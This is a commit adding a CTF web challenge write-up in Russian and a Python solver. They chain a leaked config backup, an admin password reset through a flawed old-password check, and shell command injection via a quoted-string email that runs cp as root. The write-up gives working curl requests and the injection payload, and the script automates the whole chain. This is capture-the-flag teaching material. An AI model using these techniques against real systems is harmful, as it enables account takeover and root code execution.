Init. Commit

This commit is contained in:
Caplag
2026-09-17 00:50:07 +03:00
commit 880d8698d6
115 changed files with 7611 additions and 0 deletions
+59
View File
@@ -0,0 +1,59 @@
<h1 align="center">GateKeeper</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-Web-blueviolet" alt="Web"/>
<img src="https://img.shields.io/badge/difficulty-hard-critical" alt="hard"/>
</p>
GateKeeper GW-7 — панель сетевого шлюза. Регистрации нет, есть только `admin` и `operator`. Флаг лежит в `/root/flag.txt`, а веб-приложение работает от `gk`. Для чтения файла используем утечку конфига, смену чужого пароля и синхронизацию пользователя.
## Решение
### Получение прав администратора
В статике находим `/static/config.json.bak`. Бэкап содержит пароль `operator`. Входим через `POST /login` с JSON-полями `username` и `password`, сохраняем cookie `gk_session`.
У оператора мало прав, но есть смена собственного пароля. Проверяем её запросом к `POST /account/password`. Обработчик ищет совпадение `old_password` с паролем любого пользователя, не связывая его с полем `username`.
С cookie оператора отправляем в `POST /account/password` имя администратора и известный пароль оператора:
```json
{
"username":"admin",
"old_password":"<пароль operator из бэкапа>",
"new_password":"gk_pwned_2026"
}
```
Проверка проходит, пароль `admin` меняется. Повторяем `POST /login` с `username=admin` и новым паролем `gk_pwned_2026`. Сохраняем новую cookie `gk_session` и используем её для административной синхронизации.
### Выполнение команды через email
`POST /admin/directory/sync` принимает `email` и вызывает `sudo /opt/gk/bin/sync_user.sh <email>`. У `gk` есть право запускать этот скрипт от root без пароля.
Фильтр исходной строки блокирует `;`, `|`, обратные кавычки и несколько других операторов. Но email-парсер принимает local-part в двойных кавычках и снимает их при нормализации. Затем скрипт подставляет результат в `eval` без кавычек.
Отправляем из администраторской сессии:
```bash
curl -sS http://<host>:18113/admin/directory/sync \
-b 'gk_session=<сессия admin>' \
-H 'Content-Type: application/json' \
--data '{"email":"\"x$(cp /root/flag.txt /opt/gk/www/public/f.txt)\"@gw.local"}'
```
Сырой email проходит парсер задания. После нормализации и `eval` конструкция `$(cp ...)` исполняется от root и копирует флаг в каталог веб-раздачи.
Вывод скрипта в HTTP-ответе не показывают. Зато `/opt/gk/www/public` доступен как `/public/`, а скрипт выставляет права `a+rX`:
```bash
curl -sS http://<host>:18113/public/f.txt
```
Получаем содержимое закрытого файла. Ключевой переход здесь — от строки, допустимой для email-парсера, к той же строке как к части shell-команды.
[Солвер](solve/solve.py).
## Флаг
`CAPLAG{rfc5322_qu0t3d_sh3ll_1nj}`
+123
View File
@@ -0,0 +1,123 @@
#!/usr/bin/env python3
# solve.py — автоматическое решение задания GateKeeper (только stdlib).
#
# Проходит все 4 слоя:
# 1. Info leak: GET /static/config.json.bak -> креды operator
# 2. Auth bypass: POST /account/password (old_password сверяется с ЛЮБЫМ
# пользователем) -> меняем пароль admin, логинимся как admin
# 3. Cmd inject: POST /admin/directory/sync с RFC 5322 quoted-string email
# '"x$(cp /root/flag.txt /opt/gk/www/public/f.txt)"@gw.local'
# 4. Exfil: GET /public/f.txt -> флаг
#
# Запуск: python solve.py http://localhost:18113
import json
import re
import sys
import urllib.request
import urllib.error
import http.cookiejar
PAYLOAD_EMAIL = '"x$(cp /root/flag.txt /opt/gk/www/public/f.txt)"@gw.local'
EXFIL_PATH = "/public/f.txt"
FLAG_RE = re.compile(r"CAPLAG\{[^}\r\n]+\}")
def make_client(base):
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
def req(method, path, body=None):
data = None
headers = {}
if body is not None:
data = json.dumps(body).encode()
headers["Content-Type"] = "application/json"
r = urllib.request.Request(base + path, data=data, headers=headers, method=method)
try:
with opener.open(r, timeout=15) as resp:
return resp.status, resp.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", "replace")
return req
def step(msg):
print(f"[*] {msg}")
def ok(msg):
print(f"[+] {msg}")
def die(msg):
print(f"[-] FAIL: {msg}")
sys.exit(1)
def main():
if len(sys.argv) != 2:
print(f"usage: python {sys.argv[0]} http://localhost:PORT")
sys.exit(2)
base = sys.argv[1].rstrip("/")
req = make_client(base)
# --- Слой 1: info leak ---
step(f"слой 1: читаем {base}/static/config.json.bak")
code, text = req("GET", "/static/config.json.bak")
if code != 200:
die(f"config.json.bak недоступен (HTTP {code})")
m = re.search(r'"operator"\s*:\s*\{[^}]*?"password"\s*:\s*"([^"]+)"', text, re.S)
if not m:
die("пароль operator не найден в бэкапе конфига")
op_user, op_pass = "operator", m.group(1)
ok(f"утёкшие креды: {op_user}:{op_pass}")
# --- Логин operator ---
step("логинимся как operator")
code, text = req("POST", "/login", {"username": op_user, "password": op_pass})
if code != 200:
die(f"login operator: HTTP {code}: {text}")
ok("сессия operator получена")
# --- Слой 2: auth bypass в смене пароля ---
step("слой 2: меняем пароль admin, предъявляя СВОЙ (operator) пароль как old_password")
new_admin_pass = "gk_pwned_2026"
code, text = req("POST", "/account/password", {
"username": "admin",
"old_password": op_pass, # BUG: сверяется с паролем ЛЮБОГО пользователя
"new_password": new_admin_pass,
})
if code != 200:
die(f"auth bypass не сработал: HTTP {code}: {text}")
ok("пароль admin перезаписан (old_password сверен с чужой учёткой)")
# --- Логин admin ---
step("логинимся как admin")
code, text = req("POST", "/login", {"username": "admin", "password": new_admin_pass})
if code != 200:
die(f"login admin: HTTP {code}: {text}")
ok("сессия admin получена")
# --- Слой 3: command injection через RFC-valid email ---
step(f"слой 3: инъекция через quoted-string email: {PAYLOAD_EMAIL}")
code, text = req("POST", "/admin/directory/sync", {"email": PAYLOAD_EMAIL})
if code != 200:
die(f"sync: HTTP {code}: {text}")
ok(f"payload принят (RFC-валиден, фильтр обойдён): {text.strip()}")
# --- Слой 4: эксфильтрация ---
step(f"слой 4: забираем флаг: GET {base}{EXFIL_PATH}")
code, text = req("GET", EXFIL_PATH)
if code != 200:
die(f"эксфильтрация не удалась: HTTP {code}")
m = FLAG_RE.search(text)
if not m:
die(f"файл получен, но флага нет: {text!r}")
ok("флаг получен!")
print()
print(m.group(0))
if __name__ == "__main__":
main()